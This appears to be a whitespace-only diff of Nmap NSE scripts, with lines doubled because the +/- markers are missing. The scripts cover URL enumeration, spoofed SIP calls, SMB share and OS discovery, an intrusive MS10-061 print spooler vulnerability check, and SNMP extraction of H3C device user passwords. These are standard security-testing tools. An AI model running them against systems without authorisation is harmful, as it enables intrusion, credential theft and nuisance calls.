return stdnse.format_output(false, ("Failed to open dictionary file: %s"):format(filename))
end
local f = io.open(filename)
if ( not(f) ) then
return stdnse.format_output(false, ("Failed to open dictionary file: %s"):format(filename))
end
local url_iter = urlIterator(f)
if ( not(url_iter) ) then
return stdnse.format_output(false, ("Could not open the URL dictionary: "):format(f))
end
local url_iter = urlIterator(f)
if ( not(url_iter) ) then
return stdnse.format_output(false, ("Could not open the URL dictionary: "):format(f))
end
local threads = {}
for t=1, threadcount do
local co = stdnse.new_thread(processURL, host, port, url_iter, result)
threads[co] = true
end
local threads = {}
for t=1, threadcount do
local co = stdnse.new_thread(processURL, host, port, url_iter, result)
threads[co] = true
end
repeat
for t in pairs(threads) do
if ( coroutine.status(t) == "dead" ) then threads[t] = nil end
end
if ( next(threads) ) then
condvar "wait"
end
until( next(threads) == nil )
repeat
for t in pairs(threads) do
if ( coroutine.status(t) == "dead" ) then threads[t] = nil end
end
if ( next(threads) ) then
condvar "wait"
end
until( next(threads) == nil )
-- urls that could not be retrieved due to low level errors, such as
-- failure in socket send or receive
local failure_urls = { name='An error occured while testing the following URLs' }
-- urls that could not be retrieved due to low level errors, such as
-- failure in socket send or receive
local failure_urls = { name='An error occured while testing the following URLs' }
-- urls that illicited a 200 OK response
local success_urls = { name='Discovered URLs' }
-- urls that illicited a 200 OK response
local success_urls = { name='Discovered URLs' }
-- urls requiring authentication
-- local auth_urls = { name='URL requiring authentication' }
-- urls requiring authentication
-- local auth_urls = { name='URL requiring authentication' }
for _, r in ipairs(result) do
if ( r.status == -1 ) then
table.insert(failure_urls, r.url)
elseif ( r.status == 200 ) then
table.insert(success_urls, r.url)
-- elseif ( r.status == 401 ) then
-- table.insert(auth_urls, r.url )
end
end
for _, r in ipairs(result) do
if ( r.status == -1 ) then
table.insert(failure_urls, r.url)
elseif ( r.status == 200 ) then
table.insert(success_urls, r.url)
-- elseif ( r.status == 401 ) then
-- table.insert(auth_urls, r.url )
end
end
local result = { success_urls, failure_urls }
local result = { success_urls, failure_urls }
-- -- insert our URLs requiring auth ONLY if not ALL urls returned auth
-- if (#result > #auth_urls) then
-- table.insert(result, 2, auth_urls)
-- end
-- -- insert our URLs requiring auth ONLY if not ALL urls returned auth
-- if (#result > #auth_urls) then
-- table.insert(result, 2, auth_urls)
-- end
return stdnse.format_output(true, result )
return stdnse.format_output(true, result )
end

View File

@@ -58,18 +58,18 @@ portrule = shortport.port_or_service(5060, "sip", {"tcp", "udp"})
-- @return status True if we got a response, false else.
-- @return resp Response table if status is true, error string else.
local sendinvite = function(session, ua, from, src, extension)
local request = sip.Request:new(sip.Method.INVITE)
local request = sip.Request:new(sip.Method.INVITE)
request:setUri("sip:" .. session.sessdata:getServer())
request:setUA(ua)
if src then
session.sessdata:setDomain(src)
end
session.sessdata:setUsername(extension)
session.sessdata:setName(from)
request:setSessionData(session.sessdata)
request:setUri("sip:" .. session.sessdata:getServer())
request:setUA(ua)
if src then
session.sessdata:setDomain(src)
end
session.sessdata:setUsername(extension)
session.sessdata:setName(from)
request:setSessionData(session.sessdata)
return session:exch(request)
return session:exch(request)
end
--- Function that waits for certain responses for an amount of time.
@@ -79,31 +79,31 @@ end
-- @return responsecode Code for the latest meaningful response.
-- could be 180, 200, 486, 408 or 603
local waitresponses = function(session,timeout)
local response, status, data, responsecode, ringing, waittime
local start = nmap.clock_ms()
local response, status, data, responsecode, ringing, waittime
local start = nmap.clock_ms()
while (nmap.clock_ms() - start) < timeout do
status, data = session.conn:recv()
if status then
response = sip.Response:new(data)
responsecode = response:getErrorCode()
waittime = nmap.clock_ms() - start
if responsecode == sip.Error.RING then
ringing = true
elseif responsecode == sip.Error.BUSY then
return ringing, sip.Error.BUSY
elseif responsecode == sip.Error.DECLINE then
return ringing, sip.Error.DECLINE, waittime
elseif responsecode == sip.Error.OK then
return ringing, sip.Error.OK, waittime
elseif responsecode == sip.Error.TIMEOUT then
return ringing, sip.Error.OK
end
end
end
if ringing then
return ringing, sip.Error.RING
while (nmap.clock_ms() - start) < timeout do
status, data = session.conn:recv()
if status then
response = sip.Response:new(data)
responsecode = response:getErrorCode()
waittime = nmap.clock_ms() - start
if responsecode == sip.Error.RING then
ringing = true
elseif responsecode == sip.Error.BUSY then
return ringing, sip.Error.BUSY
elseif responsecode == sip.Error.DECLINE then
return ringing, sip.Error.DECLINE, waittime
elseif responsecode == sip.Error.OK then
return ringing, sip.Error.OK, waittime
elseif responsecode == sip.Error.TIMEOUT then
return ringing, sip.Error.OK
end
end
end
if ringing then
return ringing, sip.Error.RING
end
end
--- Function that spoofs an invite request and listens for responses.
@@ -118,54 +118,54 @@ end
-- could be 180, 200, 486, 408 or 603
local invitespoof = function(session, ua, from, src, extension, timeout)
local status, response = sendinvite(session, ua, from, src, extension)
-- check if we got a 100 Trying response.
if status and response:getErrorCode() == 100 then
-- wait for responses
return waitresponses(session, timeout)
end
local status, response = sendinvite(session, ua, from, src, extension)
-- check if we got a 100 Trying response.
if status and response:getErrorCode() == 100 then
-- wait for responses
return waitresponses(session, timeout)
end
end
action = function(host, port)
local status, session
local status, session
local ua = stdnse.get_script_args(SCRIPT_NAME .. ".ua") or "Ekiga"
local from = stdnse.get_script_args(SCRIPT_NAME .. ".from") or "Home"
local src = stdnse.get_script_args(SCRIPT_NAME .. ".src")
local extension = stdnse.get_script_args(SCRIPT_NAME .. ".extension") or 100
local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
local ua = stdnse.get_script_args(SCRIPT_NAME .. ".ua") or "Ekiga"
local from = stdnse.get_script_args(SCRIPT_NAME .. ".from") or "Home"
local src = stdnse.get_script_args(SCRIPT_NAME .. ".src")
local extension = stdnse.get_script_args(SCRIPT_NAME .. ".extension") or 100
local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
-- Default timeout value = 5 seconds.
timeout = (timeout or 5) * 1000
-- Default timeout value = 5 seconds.
timeout = (timeout or 5) * 1000
session = sip.Session:new(host, port)
status = session:connect()
if not status then
return "ERROR: Failed to connect to the SIP server."
session = sip.Session:new(host, port)
status = session:connect()
if not status then
return "ERROR: Failed to connect to the SIP server."
end
local ringing, result, waittime = invitespoof(session, ua, from, src, extension, timeout)
-- If we get a response, we set the port to open.
if result then
if nmap.get_port_state(host, port) ~= "open" then
nmap.set_port_state(host, port, "open")
end
end
local ringing, result, waittime = invitespoof(session, ua, from, src, extension, timeout)
-- If we get a response, we set the port to open.
if result then
if nmap.get_port_state(host, port) ~= "open" then
nmap.set_port_state(host, port, "open")
end
end
-- We check for ringing to skip false positives.
if ringing then
if result == sip.Error.BUSY then
return stdnse.format_output(true, "Target line is busy.")
elseif result == sip.Error.DECLINE then
return stdnse.format_output(true, ("Target declined the call. (After %.1f seconds)"):format(waittime / 1000))
elseif result == sip.Error.OK then
return stdnse.format_output(true, ("Target hung up. (After %.1f seconds)"):format(waittime / 1000))
elseif result == sip.Error.TIMEOUT then
return stdnse.format_output(true, "Ringing, no answer.")
elseif result == sip.Error.RING then
return stdnse.format_output(true, "Ringing, got no answer. (script timeout)")
end
else
stdnse.print_debug(SCRIPT_NAME .. "Target phone didn't ring.")
-- We check for ringing to skip false positives.
if ringing then
if result == sip.Error.BUSY then
return stdnse.format_output(true, "Target line is busy.")
elseif result == sip.Error.DECLINE then
return stdnse.format_output(true, ("Target declined the call. (After %.1f seconds)"):format(waittime / 1000))
elseif result == sip.Error.OK then
return stdnse.format_output(true, ("Target hung up. (After %.1f seconds)"):format(waittime / 1000))
elseif result == sip.Error.TIMEOUT then
return stdnse.format_output(true, "Ringing, no answer.")
elseif result == sip.Error.RING then
return stdnse.format_output(true, "Ringing, got no answer. (script timeout)")
end
else
stdnse.print_debug(SCRIPT_NAME .. "Target phone didn't ring.")
end
end

View File

@@ -66,92 +66,92 @@ dependencies = {"smb-brute"}
hostrule = function(host)
return smb.get_port(host) ~= nil
return smb.get_port(host) ~= nil
end
action = function(host)
local status, shares, extra
local response = {}
local status, shares, extra
local response = {}
-- Get the list of shares
status, shares, extra = smb.share_get_list(host)
if(status == false) then
return stdnse.format_output(false, string.format("Couldn't enumerate shares: %s", shares))
end
-- Get the list of shares
status, shares, extra = smb.share_get_list(host)
if(status == false) then
return stdnse.format_output(false, string.format("Couldn't enumerate shares: %s", shares))
end
-- Find out who the current user is
local result, username, domain = smb.get_account(host)
if(result == false) then
username = "<unknown>"
domain = ""
end
-- Find out who the current user is
local result, username, domain = smb.get_account(host)
if(result == false) then
username = "<unknown>"
domain = ""
end
if(extra ~= nil and extra ~= '') then
table.insert(response, extra)
end
if(extra ~= nil and extra ~= '') then
table.insert(response, extra)
end
for i = 1, #shares, 1 do
local share = shares[i]
local share_output = {}
share_output['name'] = share['name']
for i = 1, #shares, 1 do
local share = shares[i]
local share_output = {}
share_output['name'] = share['name']
if(type(share['details']) ~= 'table') then
share_output['warning'] = string.format("Couldn't get details for share: %s", share['details'])
else
local details = share['details']
if(type(share['details']) ~= 'table') then
share_output['warning'] = string.format("Couldn't get details for share: %s", share['details'])
else
local details = share['details']
table.insert(share_output, string.format("Type: %s", details['sharetype']))
table.insert(share_output, string.format("Comment: %s", details['comment']))
table.insert(share_output, string.format("Users: %s, Max: %s", details['current_users'], details['max_users']))
table.insert(share_output, string.format("Path: %s", details['path']))
end
table.insert(share_output, string.format("Type: %s", details['sharetype']))
table.insert(share_output, string.format("Comment: %s", details['comment']))
table.insert(share_output, string.format("Users: %s, Max: %s", details['current_users'], details['max_users']))
table.insert(share_output, string.format("Path: %s", details['path']))
end
-- A share of 'NT_STATUS_OBJECT_NAME_NOT_FOUND' indicates this isn't a fileshare
if(share['user_can_write'] == "NT_STATUS_OBJECT_NAME_NOT_FOUND") then
-- Print details for a non-file share
if(share['anonymous_can_read']) then
table.insert(share_output, "Anonymous access: READ <not a file share>")
else
table.insert(share_output, "Anonymous access: <none> <not a file share>")
end
-- A share of 'NT_STATUS_OBJECT_NAME_NOT_FOUND' indicates this isn't a fileshare
if(share['user_can_write'] == "NT_STATUS_OBJECT_NAME_NOT_FOUND") then
-- Print details for a non-file share
if(share['anonymous_can_read']) then
table.insert(share_output, "Anonymous access: READ <not a file share>")
else
table.insert(share_output, "Anonymous access: <none> <not a file share>")
end
-- Don't bother printing this if we're already anonymous
if(username ~= '') then
if(share['user_can_read']) then
table.insert(share_output, "Current user ('" .. username .. "') access: READ <not a file share>")
else
table.insert(share_output, "Current user ('" .. username .. "') access: <none> <not a file share>")
end
end
else
-- Print details for a file share
if(share['anonymous_can_read'] and share['anonymous_can_write']) then
table.insert(share_output, "Anonymous access: READ/WRITE")
elseif(share['anonymous_can_read'] and not(share['anonymous_can_write'])) then
table.insert(share_output, "Anonymous access: READ")
elseif(not(share['anonymous_can_read']) and share['anonymous_can_write']) then
table.insert(share_output, "Anonymous access: WRITE")
else
table.insert(share_output, "Anonymous access: <none>")
end
-- Don't bother printing this if we're already anonymous
if(username ~= '') then
if(share['user_can_read']) then
table.insert(share_output, "Current user ('" .. username .. "') access: READ <not a file share>")
else
table.insert(share_output, "Current user ('" .. username .. "') access: <none> <not a file share>")
end
end
else
-- Print details for a file share
if(share['anonymous_can_read'] and share['anonymous_can_write']) then
table.insert(share_output, "Anonymous access: READ/WRITE")
elseif(share['anonymous_can_read'] and not(share['anonymous_can_write'])) then
table.insert(share_output, "Anonymous access: READ")
elseif(not(share['anonymous_can_read']) and share['anonymous_can_write']) then
table.insert(share_output, "Anonymous access: WRITE")
else
table.insert(share_output, "Anonymous access: <none>")
end
if(username ~= '') then
if(share['user_can_read'] and share['user_can_write']) then
table.insert(share_output, "Current user ('" .. username .. "') access: READ/WRITE")
elseif(share['user_can_read'] and not(share['user_can_write'])) then
table.insert(share_output, "Current user ('" .. username .. "') access: READ")
elseif(not(share['user_can_read']) and share['user_can_write']) then
table.insert(share_output, "Current user ('" .. username .. "') access: WRITE")
else
table.insert(share_output, "Current user ('" .. username .. "') access: <none>")
end
end
end
if(username ~= '') then
if(share['user_can_read'] and share['user_can_write']) then
table.insert(share_output, "Current user ('" .. username .. "') access: READ/WRITE")
elseif(share['user_can_read'] and not(share['user_can_write'])) then
table.insert(share_output, "Current user ('" .. username .. "') access: READ")
elseif(not(share['user_can_read']) and share['user_can_write']) then
table.insert(share_output, "Current user ('" .. username .. "') access: WRITE")
else
table.insert(share_output, "Current user ('" .. username .. "') access: <none>")
end
end
end
table.insert(response, share_output)
end
table.insert(response, share_output)
end
return stdnse.format_output(true, response)
return stdnse.format_output(true, response)
end

View File

@@ -79,7 +79,7 @@ dependencies = {"smb-brute"}
--- Check whether or not this script should be run.
hostrule = function(host)
return smb.get_port(host) ~= nil
return smb.get_port(host) ~= nil
end
-- Some observed OS strings:
@@ -92,97 +92,97 @@ end
-- http://msdn.microsoft.com/en-us/library/cc246806%28v=prot.20%29.aspx has a
-- list of strings that don't quite match these.
function make_cpe(result)
local os = result.os
local parts = {}
local os = result.os
local parts = {}
if string.match(os, "^Windows 5%.0") then
parts = {"o", "microsoft", "windows_2000"}
elseif string.match(os, "^Windows 5%.1") then
parts = {"o", "microsoft", "windows_xp"}
elseif string.match(os, "^Windows Server.*2003") then
parts = {"o", "microsoft", "windows_server_2003"}
elseif string.match(os, "^Windows Vista") then
parts = {"o", "microsoft", "windows_vista"}
elseif string.match(os, "^Windows Server.*2008") then
parts = {"o", "microsoft", "windows_server_2008"}
elseif string.match(os, "^Windows 7") then
parts = {"o", "microsoft", "windows_7"}
elseif string.match(os, "^Windows Server.*2012") then
parts = {"o", "microsoft", "windows_server_2012"}
end
if string.match(os, "^Windows 5%.0") then
parts = {"o", "microsoft", "windows_2000"}
elseif string.match(os, "^Windows 5%.1") then
parts = {"o", "microsoft", "windows_xp"}
elseif string.match(os, "^Windows Server.*2003") then
parts = {"o", "microsoft", "windows_server_2003"}
elseif string.match(os, "^Windows Vista") then
parts = {"o", "microsoft", "windows_vista"}
elseif string.match(os, "^Windows Server.*2008") then
parts = {"o", "microsoft", "windows_server_2008"}
elseif string.match(os, "^Windows 7") then
parts = {"o", "microsoft", "windows_7"}
elseif string.match(os, "^Windows Server.*2012") then
parts = {"o", "microsoft", "windows_server_2012"}
end
if parts[1] == "o" and parts[2] == "microsoft"
and string.match(parts[3], "^windows") then
parts[4] = ""
local sp = string.match(os, "Service Pack (%d+)")
if sp then
parts[5] = "sp" .. tostring(sp)
else
parts[5] = "-"
end
if string.match(os, "Professional") then
parts[6] = "professional"
end
end
if parts[1] == "o" and parts[2] == "microsoft"
and string.match(parts[3], "^windows") then
parts[4] = ""
local sp = string.match(os, "Service Pack (%d+)")
if sp then
parts[5] = "sp" .. tostring(sp)
else
parts[5] = "-"
end
if string.match(os, "Professional") then
parts[6] = "professional"
end
end
if #parts > 0 then
return "cpe:/" .. stdnse.strjoin(":", parts)
end
if #parts > 0 then
return "cpe:/" .. stdnse.strjoin(":", parts)
end
end
function add_to_output(output_table, label, value)
if value then
table.insert(output_table, string.format("%s: %s", label, value))
end
if value then
table.insert(output_table, string.format("%s: %s", label, value))
end
end
action = function(host)
local response = stdnse.output_table()
local status, result = smb.get_os(host)
local response = stdnse.output_table()
local status, result = smb.get_os(host)
if(status == false) then
return stdnse.format_output(false, result)
end
if(status == false) then
return stdnse.format_output(false, result)
end
-- Collect results.
response.os = result.os
response.lanmanager = result.lanmanager
response.domain = result.domain
response.server = result.server
if result.time and result.timezone then
response.date = stdnse.format_timestamp(result.time, result.timezone * 60 * 60)
end
response.fqdn = result.fqdn
response.domain_dns = result.domain_dns
response.forest_dns = result.forest_dns
response.workgroup = result.workgroup
response.cpe = make_cpe(result)
-- Collect results.
response.os = result.os
response.lanmanager = result.lanmanager
response.domain = result.domain
response.server = result.server
if result.time and result.timezone then
response.date = stdnse.format_timestamp(result.time, result.timezone * 60 * 60)
end
response.fqdn = result.fqdn
response.domain_dns = result.domain_dns
response.forest_dns = result.forest_dns
response.workgroup = result.workgroup
response.cpe = make_cpe(result)
-- Build normal output.
local output_lines = {}
if response.os and response.lanmanager then
add_to_output(output_lines, "OS", string.format("%s (%s)", smb.get_windows_version(response.os), response.lanmanager))
else
add_to_output(output_lines, "OS", "Unknown")
end
add_to_output(output_lines, "OS CPE", response.cpe)
if response.fqdn then
-- Pull the first part of the FQDN as the computer name.
add_to_output(output_lines, "Computer name", string.match(response.fqdn, "^([^.]+)%.?"))
end
add_to_output(output_lines, "NetBIOS computer name", result.server)
if response.fqdn and response.domain_dns and response.fqdn ~= response.domain_dns then
-- If the FQDN doesn't match the domain name, the target is a domain member.
add_to_output(output_lines, "Domain name", response.domain_dns)
add_to_output(output_lines, "Forest name", response.forest_dns)
add_to_output(output_lines, "FQDN", response.fqdn)
add_to_output(output_lines, "NetBIOS domain name", response.domain)
else
add_to_output(output_lines, "Workgroup", response.workgroup or response.domain)
end
add_to_output(output_lines, "System time", response.date or "Unknown")
-- Build normal output.
local output_lines = {}
if response.os and response.lanmanager then
add_to_output(output_lines, "OS", string.format("%s (%s)", smb.get_windows_version(response.os), response.lanmanager))
else
add_to_output(output_lines, "OS", "Unknown")
end
add_to_output(output_lines, "OS CPE", response.cpe)
if response.fqdn then
-- Pull the first part of the FQDN as the computer name.
add_to_output(output_lines, "Computer name", string.match(response.fqdn, "^([^.]+)%.?"))
end
add_to_output(output_lines, "NetBIOS computer name", result.server)
if response.fqdn and response.domain_dns and response.fqdn ~= response.domain_dns then
-- If the FQDN doesn't match the domain name, the target is a domain member.
add_to_output(output_lines, "Domain name", response.domain_dns)
add_to_output(output_lines, "Forest name", response.forest_dns)
add_to_output(output_lines, "FQDN", response.fqdn)
add_to_output(output_lines, "NetBIOS domain name", response.domain)
else
add_to_output(output_lines, "Workgroup", response.workgroup or response.domain)
end
add_to_output(output_lines, "System time", response.date or "Unknown")
return response, stdnse.format_output(true, output_lines)
return response, stdnse.format_output(true, output_lines)
end

View File

@@ -21,9 +21,9 @@ which can be specified with smb library arguments smbuser and
smbpassword.
References:
- http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2729
- http://technet.microsoft.com/en-us/security/bulletin/MS10-061
- http://blogs.technet.com/b/srd/archive/2010/09/14/ms10-061-printer-spooler-vulnerability.aspx
- http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2729
- http://technet.microsoft.com/en-us/security/bulletin/MS10-061
- http://blogs.technet.com/b/srd/archive/2010/09/14/ms10-061-printer-spooler-vulnerability.aspx
]]
---
-- @usage nmap -p 445 <target> --script=smb-vuln-ms10-061
@@ -58,113 +58,113 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"vuln","intrusive"}
hostrule = function(host)
return smb.get_port(host) ~= nil
return smb.get_port(host) ~= nil
end
action = function(host,port)
local ms10_061 = {
title = "Print Spooler Service Impersonation Vulnerability",
IDS = {CVE = 'CVE-2010-2729'},
risk_factor = "HIGH",
scores = {
CVSSv2 = "9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)",
},
description = [[
local ms10_061 = {
title = "Print Spooler Service Impersonation Vulnerability",
IDS = {CVE = 'CVE-2010-2729'},
risk_factor = "HIGH",
scores = {
CVSSv2 = "9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)",
},
description = [[
The Print Spooler service in Microsoft Windows XP,Server 2003 SP2,Vista,Server 2008, and 7, when printer sharing is enabled,
does not properly validate spooler access permissions, which allows remote attackers to create files in a system directory,
and consequently execute arbitrary code, by sending a crafted print request over RPC, as exploited in the wild in September 2010,
aka "Print Spooler Service Impersonation Vulnerability."
]],
references = {
'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2729',
'http://technet.microsoft.com/en-us/security/bulletin/MS10-061',
'http://blogs.technet.com/b/srd/archive/2010/09/14/ms10-061-printer-spooler-vulnerability.aspx'
},
dates = {
disclosure = {year = '2010', month = '09', day = '5'},
},
exploit_results = {},
}
local report = vulns.Report:new(SCRIPT_NAME, host, port)
ms10_061.state = vulns.STATE.NOT_VULN
local status, smbstate
status, smbstate = msrpc.start_smb(host, msrpc.SPOOLSS_PATH,true)
if(status == false) then
stdnse.print_debug("SMB: " .. smbstate)
return false, smbstate
end
]],
references = {
'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2729',
'http://technet.microsoft.com/en-us/security/bulletin/MS10-061',
'http://blogs.technet.com/b/srd/archive/2010/09/14/ms10-061-printer-spooler-vulnerability.aspx'
},
dates = {
disclosure = {year = '2010', month = '09', day = '5'},
},
exploit_results = {},
}
local report = vulns.Report:new(SCRIPT_NAME, host, port)
ms10_061.state = vulns.STATE.NOT_VULN
local status, smbstate
status, smbstate = msrpc.start_smb(host, msrpc.SPOOLSS_PATH,true)
if(status == false) then
stdnse.print_debug("SMB: " .. smbstate)
return false, smbstate
end
local bind_result
status, bind_result = msrpc.bind(smbstate,msrpc.SPOOLSS_UUID, msrpc.SPOOLSS_VERSION, nil)
if(status == false) then
msrpc.stop_smb(smbstate)
stdnse.print_debug("SMB: " .. bind_result)
return false, bind_result
end
local printer = stdnse.get_script_args(SCRIPT_NAME .. '.printer')
-- if printer not set find available printers
if not printer then
stdnse.print_debug("No printer specified, trying to find one...")
local lanman_result
local REMSmb_NetShareEnum_P = "WrLeh"
local REMSmb_share_info_1 = "B13BWz"
status, lanman_result = msrpc.call_lanmanapi(smbstate,0,REMSmb_NetShareEnum_P,REMSmb_share_info_1,bin.pack("ss",0x01,65406))
if status == false then
stdnse.print_debug("SMB: " .. lanman_result)
stdnse.print_debug("SMB: Looks like LANMAN API is not available. Try setting printer script arg.")
end
local bind_result
status, bind_result = msrpc.bind(smbstate,msrpc.SPOOLSS_UUID, msrpc.SPOOLSS_VERSION, nil)
if(status == false) then
msrpc.stop_smb(smbstate)
stdnse.print_debug("SMB: " .. bind_result)
return false, bind_result
end
local printer = stdnse.get_script_args(SCRIPT_NAME .. '.printer')
-- if printer not set find available printers
if not printer then
stdnse.print_debug("No printer specified, trying to find one...")
local lanman_result
local REMSmb_NetShareEnum_P = "WrLeh"
local REMSmb_share_info_1 = "B13BWz"
status, lanman_result = msrpc.call_lanmanapi(smbstate,0,REMSmb_NetShareEnum_P,REMSmb_share_info_1,bin.pack("ss",0x01,65406))
if status == false then
stdnse.print_debug("SMB: " .. lanman_result)
stdnse.print_debug("SMB: Looks like LANMAN API is not available. Try setting printer script arg.")
end
local parameters = lanman_result.parameters
local data = lanman_result.data
local pos, status, convert, entry_count, available_entries = bin.unpack("<SSSS", parameters)
pos = 0
local share_type, name, _
for i = 1, entry_count, 1 do
_,share_type = bin.unpack(">s",data,pos+14)
pos, name = bin.unpack("<z", data, pos)
local parameters = lanman_result.parameters
local data = lanman_result.data
local pos, status, convert, entry_count, available_entries = bin.unpack("<SSSS", parameters)
pos = 0
local share_type, name, _
for i = 1, entry_count, 1 do
_,share_type = bin.unpack(">s",data,pos+14)
pos, name = bin.unpack("<z", data, pos)
-- pos needs to be rounded to the next even multiple of 20
pos = pos + ( 20 - (#name % 20) ) - 1
if share_type == 1 then -- share is printer
stdnse.print_debug("Found printer share %s.", name)
printer = name
end
end
end
if not printer then
stdnse.print_debug("No printer found, system may be unpached but it needs at least one printer shared to be vulnerable.")
return false
end
stdnse.print_debug("Using %s as printer.",printer)
-- call RpcOpenPrinterEx - opnum 69
local status, result = msrpc.spoolss_open_printer(smbstate,"\\\\"..host.ip.."\\"..printer)
if not status then
return false
end
local printer_handle = string.sub(result.data,25,#result.data-4)
stdnse.print_debug("Printer handle %s",stdnse.tohex(printer_handle))
-- call RpcStartDocPrinter - opnum 17
status,result = msrpc.spoolss_start_doc_printer(smbstate,printer_handle,",") -- patched version will allow this
if not status then
return false
end
local print_job_id = string.sub(result.data,25,#result.data-4)
stdnse.print_debug("Start doc printer job id %s",stdnse.tohex(print_job_id))
-- pos needs to be rounded to the next even multiple of 20
pos = pos + ( 20 - (#name % 20) ) - 1
if share_type == 1 then -- share is printer
stdnse.print_debug("Found printer share %s.", name)
printer = name
end
end
end
if not printer then
stdnse.print_debug("No printer found, system may be unpached but it needs at least one printer shared to be vulnerable.")
return false
end
stdnse.print_debug("Using %s as printer.",printer)
-- call RpcOpenPrinterEx - opnum 69
local status, result = msrpc.spoolss_open_printer(smbstate,"\\\\"..host.ip.."\\"..printer)
if not status then
return false
end
local printer_handle = string.sub(result.data,25,#result.data-4)
stdnse.print_debug("Printer handle %s",stdnse.tohex(printer_handle))
-- call RpcStartDocPrinter - opnum 17
status,result = msrpc.spoolss_start_doc_printer(smbstate,printer_handle,",") -- patched version will allow this
if not status then
return false
end
local print_job_id = string.sub(result.data,25,#result.data-4)
stdnse.print_debug("Start doc printer job id %s",stdnse.tohex(print_job_id))
-- call RpcWritePrinter - 19
status, result = msrpc.spoolss_write_printer(smbstate,printer_handle,"aaaa")
if not status then
return false
end
local write_result = string.sub(result.data,25,#result.data-4)
stdnse.print_debug("Written %s bytes to a file.",stdnse.tohex(write_result))
if stdnse.tohex(write_result) == "00000000" then -- patched version would report 4 bytes written
ms10_061.state = vulns.STATE.VULN -- identified by diffing patched an unpatched version
end
-- call abort_printer to stop the actuall printing in case the remote system is not vulnerable
-- we care about the environment and don't want to spend more paper then needed :)
status,result = msrpc.spoolss_abort_printer(smbstate,printer_handle)
-- call RpcWritePrinter - 19
status, result = msrpc.spoolss_write_printer(smbstate,printer_handle,"aaaa")
if not status then
return false
end
local write_result = string.sub(result.data,25,#result.data-4)
stdnse.print_debug("Written %s bytes to a file.",stdnse.tohex(write_result))
if stdnse.tohex(write_result) == "00000000" then -- patched version would report 4 bytes written
ms10_061.state = vulns.STATE.VULN -- identified by diffing patched an unpatched version
end
-- call abort_printer to stop the actuall printing in case the remote system is not vulnerable
-- we care about the environment and don't want to spend more paper then needed :)
status,result = msrpc.spoolss_abort_printer(smbstate,printer_handle)
return report:make_output(ms10_061)
return report:make_output(ms10_061)
end

View File

@@ -62,13 +62,13 @@ portrule = shortport.portnumber(161, "udp", {"open", "open|filtered"})
-- @return value of relevant type or nil if oid was not found
function get_value_from_table( tbl, oid )
for _, v in ipairs( tbl ) do
if v.oid == oid then
return v.value
end
end
for _, v in ipairs( tbl ) do
if v.oid == oid then
return v.value
end
end
return nil
return nil
end
--- Processes the table and creates the script output
@@ -77,81 +77,81 @@ end
-- @return <code>stdnse.output_table</code> formatted table
function process_answer( tbl )
-- h3c-user MIB OIDs (oldoid)
local h3cUserName = "1.3.6.1.4.1.2011.10.2.12.1.1.1.1"
local h3cUserPassword = "1.3.6.1.4.1.2011.10.2.12.1.1.1.2"
local h3cUserLevel = "1.3.6.1.4.1.2011.10.2.12.1.1.1.4"
local h3cUserState = "1.3.6.1.4.1.2011.10.2.12.1.1.1.5"
-- h3c-user MIB OIDs (oldoid)
local h3cUserName = "1.3.6.1.4.1.2011.10.2.12.1.1.1.1"
local h3cUserPassword = "1.3.6.1.4.1.2011.10.2.12.1.1.1.2"
local h3cUserLevel = "1.3.6.1.4.1.2011.10.2.12.1.1.1.4"
local h3cUserState = "1.3.6.1.4.1.2011.10.2.12.1.1.1.5"
-- hh3c-user MIB OIDs (newoid)
local hh3cUserName = "1.3.6.1.4.1.25506.2.12.1.1.1.1"
local hh3cUserPassword = "1.3.6.1.4.1.25506.2.12.1.1.1.2"
local hh3cUserLevel = "1.3.6.1.4.1.25506.2.12.1.1.1.4"
local hh3cUserState = "1.3.6.1.4.1.25506.2.12.1.1.1.5"
-- hh3c-user MIB OIDs (newoid)
local hh3cUserName = "1.3.6.1.4.1.25506.2.12.1.1.1.1"
local hh3cUserPassword = "1.3.6.1.4.1.25506.2.12.1.1.1.2"
local hh3cUserLevel = "1.3.6.1.4.1.25506.2.12.1.1.1.4"
local hh3cUserState = "1.3.6.1.4.1.25506.2.12.1.1.1.5"
local output = stdnse.output_table()
output.users = {}
local output = stdnse.output_table()
output.users = {}
for _, v in ipairs( tbl ) do
for _, v in ipairs( tbl ) do
if ( v.oid:match("^" .. h3cUserName) ) then
local item = {}
local oldobjid = v.oid:gsub( "^" .. h3cUserName, h3cUserPassword)
local password = get_value_from_table( tbl, oldobjid )
if ( v.oid:match("^" .. h3cUserName) ) then
local item = {}
local oldobjid = v.oid:gsub( "^" .. h3cUserName, h3cUserPassword)
local password = get_value_from_table( tbl, oldobjid )
if ( password == nil ) or ( #password == 0 ) then
local newobjid = v.oid:gsub( "^" .. hh3cUserName, hh3cUserPassword)
password = get_value_from_table( tbl, newobjid )
end
if ( password == nil ) or ( #password == 0 ) then
local newobjid = v.oid:gsub( "^" .. hh3cUserName, hh3cUserPassword)
password = get_value_from_table( tbl, newobjid )
end
oldobjid = v.oid:gsub( "^" .. h3cUserName, h3cUserLevel)
local level = get_value_from_table( tbl, oldobjid )
oldobjid = v.oid:gsub( "^" .. h3cUserName, h3cUserLevel)
local level = get_value_from_table( tbl, oldobjid )
if ( level == nil ) then
local newobjoid = v.oid:gsub( "^" .. hh3cUserName, hh3cUserLevel)
level = get_value_from_table( tbl, oldobjid )
end
if ( level == nil ) then
local newobjoid = v.oid:gsub( "^" .. hh3cUserName, hh3cUserLevel)
level = get_value_from_table( tbl, oldobjid )
end
output.users[#output.users + 1] = {username=v.value, password=password, level=level}
end
output.users[#output.users + 1] = {username=v.value, password=password, level=level}
end
end
end
return output
return output
end
action = function(host, port)
local socket = nmap.new_socket()
local catch = function() socket:close() end
local try = nmap.new_try(catch)
local data, oldsnmpoid = nil, "1.3.6.1.4.1.2011.10.2.12.1.1.1"
local data, newsnmpoid = nil, "1.3.6.1.4.1.25506.2.12.1.1.1"
local users = {}
local status
local socket = nmap.new_socket()
local catch = function() socket:close() end
local try = nmap.new_try(catch)
